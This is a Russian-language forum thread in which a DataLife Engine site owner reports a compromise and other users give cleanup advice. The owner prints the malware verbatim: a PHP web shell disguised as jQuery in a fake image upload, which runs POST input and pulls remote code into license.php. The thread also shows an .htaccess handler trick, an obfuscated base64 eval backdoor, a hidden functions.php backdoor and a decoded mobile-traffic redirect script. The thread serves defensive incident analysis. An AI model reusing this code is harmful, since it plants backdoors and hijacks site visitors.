На сайт через фото профиля были залиты файлы в uploads/fotos: foto_12345678.jpeq Код: <?php /* * jQuery Image Library v1.6.1 * http://jquery.com/ * * Copyright 2011, John Resig * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * Includes Sizzle.js * http://sizzlejs.com/ * Copyright 2011, The Dojo Foundation * Released under the MIT, BSD, and GPL Licenses. * * Date: Thu May 12 15:04:36 2011 -0400 * * * * * * * * * * * * * * * * * * * * Don't delete this file * * * * * * * * * * * * * * * * */ @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @ini_set('display_errors', 0); @error_reporting(0); @set_time_limit(0); $cret='unct' .'ion';$cret= 'cre' . 'ate' .'_f' .$cret; $jQuery='sert';$jQuery='as'.$jQuery;$Libr= "_ostp"; $sizz=strtoupper($Libr[0].$Libr[4].$Libr[1].$Libr[2].$Libr[3] ); if(isset(${$sizz}['j01bt5ri3p'])){@$cret('', '};'.${$sizz}['j01bt5ri3p'].'{');} if(isset(${$sizz}['j01bt5ri3p'])){@$jQuery(${$sizz}['j01bt5ri3p']);} if((isset(${$sizz}['j01bt5ri3p']))&(isset(${$sizz}['fail']))){ @copy('http://'.${$sizz}['fail'].'/test.txt', $_SERVER['DOCUMENT_ROOT'].'/license.php');} print"<!-- te"."st --> "; ?> и .htaccess Код: <FilesMatch "\.([Pp][Hh][Pp]|[Cc][Gg][Ii]|[Pp][Ll]|[Pp][Hh][Ii][Mm][Ll])\.?"> Order allow,deny Deny from all </FilesMatch> AddHandler application/x-httpd-php .avi .jpeq .mpg4 После чего появился код в dbconfig.php, mysql.php и options.php Код: $liciens = "@Ev"."aL(gZu"."ncOmp"."rEss(bAs"."e64"."_Dec"."odE('eF6VVHtv2zYQ/yoOYIQS4sgP2bEdQ2jWwtiCDe2WJiuG1hAo6SyxkkiVDztB6e++oxwsceF52B+84+OeP95dN5EQkZh0AhIb5RjI9uAIy8hiW7AKvHAwn1864jcSNl63EKq3J0ayXleu/QVbe0wp0F43fvfhw6+3y89dtL3y/e83eJsKUTLw3FXvUOBi2NOsBs+/mE3mk2mP9Im/2KE17+ZQMIrIfDSeDsLZkPhC/uvzdHb6eX7yeTYgR0ImV+P5aDCeTa7C+WSMZDYPB5PZ+Go8C+djciSDroR1hE4+Lu/+XN59Vlo64JBpYZoGpEeYNLFWYL4h4r6/WjgoX2mQu+UfD8uP9/HD3S1ZLW4c3NEpe1qJIm60Lp6tldtmXRpalZvHlG8Kk1TRcDqYYGT/EZgEjB3kiy1vPB5d4roIZ6PhpSP+m1Qo7/nzYf1PGfQcWv51rWNJeeb0eqPhIPQXBdAMbT97I+EblqdBU2tXZn3FCt13uzKFIm2v0jRwPJfCsctw2972r5tWQxeday5Yu6WtgviN+MjOFYi2fhF8ZJJujayApyLDj8QqdSINlbQGDTL60i3haStkhmp4UHBuZDREvSOgRK9ROUdYfrBOCq2b675Lw/0UUhT3/QU8Mr3YdY3KT4OuOeQ0lqDMqz/83z/VfcyrhjdfqfmmYGsaHREliOtN7+ylsn65v/89fsBT/NPPy/f3ZOUa4sQzNkfbM2fY/HlcU50WHuknlGXGpgiBRSQqsJ/Cd7FdVprecvspB22xBODRMhpTmRaWFkJYltfUvhXaNgzrwdI6QcW/6FsptlaIHA8JPtaUVUGfkZ7Dzcd+xAQOfLeWg72ctKIMpLGbMkjF3khgM5OWblklcmGsKoCjY043zqmognTvWtot01gKlnGlaY5RcXfap2a0SQBpkDzt4xYZF6U1lcjtmqaQiMAqaHN7cslhPIqjZVWzkZVJGtiE8XyfB9Zem8VhGk2QYOIKPaqnOhHK8kwKltmaZY0FyUB96VwNbKHT2IoEB7H9OqrBoiyjHKU4s00hOLxA5bru7Ic5TLIKcLhjneBAXx2XeZ7V7dNBiBHNMg5bZbEBcqYcOtEaIEsoghtVDl1tkTEeNEVjaVa/3qGCpJoJvo9Qsr0Lt+ucRR03KY8M2+dBPT02V3e73d+Pxjob')));";$release_this = "cre"."ate_"."function";@$dle_func = $release_this('', "$liciens;");$dle_func(''); Покопался, убрал этот код, удалил созданные файлы, убрал дыру и файлы в папке uploads/fotos больше не появляются, но проверив файлы dbconfig и mysql.php - увидел снова тот же код. Проверил расхождения в файлах с чистым бэкапом и нашел в functions.php это: Код: $news_num = @$_REQUEST['numer']; $bannermass = @$_REQUEST['bannerid']; Код: $check_newsnum = @$_REQUEST['newsnum']; $check_category = @$_REQUEST['category']; Код: $get_url_var = '12345678'; этот дважды: Код: $set_cookie = '_di'.'ff_';$set_cookie='ar'.'ray'.$set_cookie.'ukey';//globils Код: if($bannermass==$get_url_var){ if (@strpos($check_newsnum, 'creat')=== false){ @$set_cookie(@array((string)$news_num => 1), @array((string)stripslashes($check_category) => 2), @$check_newsnum);}else{ @$set_cookie(@array((string)$news_num => 1), @array((string)stripslashes('}'.$check_category.'//') => 2), @$check_newsnum);}}//chekings Но боюсь, что это не все. Кто сталкивался с подобным дерьмом, подскажите, что и где может быть еще? Где копать?
archi у Вас VPS, Dedicated или обычный хостинг? Просмотрите как минимум логи nginx/apache обработки файла foto_54810053.jpeq
У меня VPS, но с логами проблема - этот шелл на сервере уже давно, но увидел я его только пару недель назад.
Ну обычно nginx бэкапит логи создавая .tar.gz архивы. Раскройте их и с помощью cat /path/log/file.log | grep "foto_54810053.jpeq" проверьте файлы.
ппц.. Важно - Уязвимость dle 11.1 и ниже недостаточная фильтрация данных Уязвимость dle 11.2 и ниже недостаточная фильтрация данных
если на сайте нет нормальной защиты, то нужно хотя бы ставить все багфиксы, что на офф сайте ДЛЕ написаны. А лучше всего - обновляться до последней версии ДЛЕ. Если много правок в движке сделано, то как минимум помимо фиксов, можно на все файлы поставить chmod 444.
С этим уже все в порядке. В движке действительно было сделано слишком много изменений, чтобы обновлять. Вопрос заключается в другом: какие еще файлы могли заразить, и почему тот скрипт снова появился в dbconfig.php и mysql.php, если файлы были удалены и больше не появлялись? На сколько я понимаю, те куски кода, что я нашел позже в functions.php - вроде как не могли его добавить...
archi скачай все файлы сайта, сравни их с оригиналами дле, чтоб найти весь левый код и удалить его. Так же можно айбооитом проверить ещё все файлы сайта.
Я так и сделал, сравнил все файлы с чистым бэкапом. Нашел левый код только в functions.php, но опять же, разве эти куски кода из functions.php могли добавить заново код в dbconfig.php и mysql.php?
archi вероятнее всего не всё было удалено, может в папке uploads что-то ещё осталось, если всё остальное на 100% было удалено!
Кому интересно - этот код (из dbconfig.php и mysql.php) в расшифрованном виде. Код: $bre = '_' . '_us' . 'er' . '_' . 'id'; while (3099 - 3099) prev($hos, $hos, $uri, $rf); if (isset($_COOKIE[$bre])) { @setcookie($bre, $_COOKIE[$bre] + 1, time() + 85957, '/'); } if ((@$_COOKIE[$bre] == '92470381') or (@$_COOKIE[$bre] == '92470378') or (@$_COOKIE[$bre] == '92470379') or (@$_COOKIE[$bre] == '92470380')) { @setcookie($bre, '64920485639546398930584648394', time() + 85957, '/'); $ref = @$_SERVER[strrev(strtoupper('iru_tseuqer'))]; $uri = @$_SERVER['REQUEST_URI']; @$hos = $_SERVER[strrev(strtoupper('tsoh_ptth'))]; $ukwpfkualkvxcnvhubl = 1705; $rf = @$_SERVER[strrev(strtoupper('rerefer_ptth'))]; (442 - 442 + 3821 - 3821) ? cos($uri, $ref, $uri, $rf, $bre) : mt_rand(442, 2103); header(strrev('3?igc.pmt' . '/siht/' . 'kcehc' . '/cc.' . 'gro' . '-3w' . '//:pt' . 'th :noi' . 'tac' . 'oL') . '&seor' . 'ef=' . rawurlencode($rf) . '¶meter=\$keyword&se=\$se&ur=1' . strrev(strtoupper('=rerefer_ptth&')) . rawurlencode('http://' . $hos . $ref)); exit; } $usg = @$_SERVER[strrev(strtoupper('tnega_resu_ptth'))]; $rf = @$_SERVER[strrev(strtoupper('rerefer_ptth'))]; $xglpnpjauqsewupt = 'so'; if ((!$_SERVER['HTTP_USER_AGENT']) or ($_SERVER['HTTP_USER_AGENT'] == '') or (!preg_match('/baidu|curl|rawle|W3C_|EltaIn|Wget|andex|ia_arch|ahoo|igma|Bot|pider|amble|YaBrow|oogle|bot|mail./i', $usg))) { if (preg_match('/andex.|mail.r|ok.ru|vk.co|oogle.|duckduck|sogou|shenma|naver|aol.c|ambler|witter|instag|pinter|baidu|utube|ut.by|igma|odnok|ulog|facebo.|search|yahoo.|msn.c|smi2|rbc.|bing./i', $rf)) { if ((preg_match('/p.browser|symbos|ndroid|midp|eries\ 60|htc_|obile|j2me|ymbian|mini|phone/i', $usg)) and (!isset($_COOKIE['dle_user_id'])) and (!isset($_COOKIE[$bre])) and (!preg_match('/=addnews|=register|=feedback|=logout|login.php|admin.php|administration/i', $uri)) and ($uri != '/')) { @setcookie($bre, '92470377', time() + 85957, '/'); } } } а этот кусок - это урл сайта Код: header(strrev('3?igc.pmt' . '/siht/' . 'kcehc' . '/cc.' . 'gro' . '-3w' . '//:pt' . 'th :noi' . 'tac' . 'oL') . '&seor' . 'ef=' . rawurlencode($rf) . '¶meter=\$keyword&se=\$se&ur=1' . strrev(strtoupper('=rerefer_ptth&')) . rawurlencode('http://' . $hos . $ref)); exit; точнее Код: '/cc.' . 'gro' . '-3w' . '//:pt' . 'th http(двоеточие-слэш)w3-org(точка)cc а там уже можно увидеть, что в коде этого фейк сайта есть урл на ПП pushprofit(точка)ru
Ну ведь ты понимаешь, что придётся ?) Чем дольше ты оттягиваешь тем хуже себе делаешь. Потом затянешь еще на 4 года и гляди вовсе будут все отказывать и никто тебе не поможет. Будешь начинать всё по новой. Качай winmerge сравнивай файлы, создавай плагин и переноси все изменения на систему плагинов.
Просто советуем сделать сперва обнову, и твоя проблема она сама вместе с этим решиться. Это самый лучший и правильный вариант.
archi скорее всего дле была скачана уже с этим кодом в дле. Я в прошлом году писал на каких сайтах выложены дле с вшитой заразой и какие файлы они правили. Сохранить нужно бд, удалить полностью дле и поставить чистую дле и восстановить бд из бекапа. Ну и лучше так же обновить дле на 14.1
Нет, dle чистый был, проверял архив, который изначально скачивал. + эта хрень появилась не сразу, а спустя длительное время... файлы эти заливаются в папку fotos - аватарки юзеров, после чего запускается скрипт и вносятся изменения в определенные файлы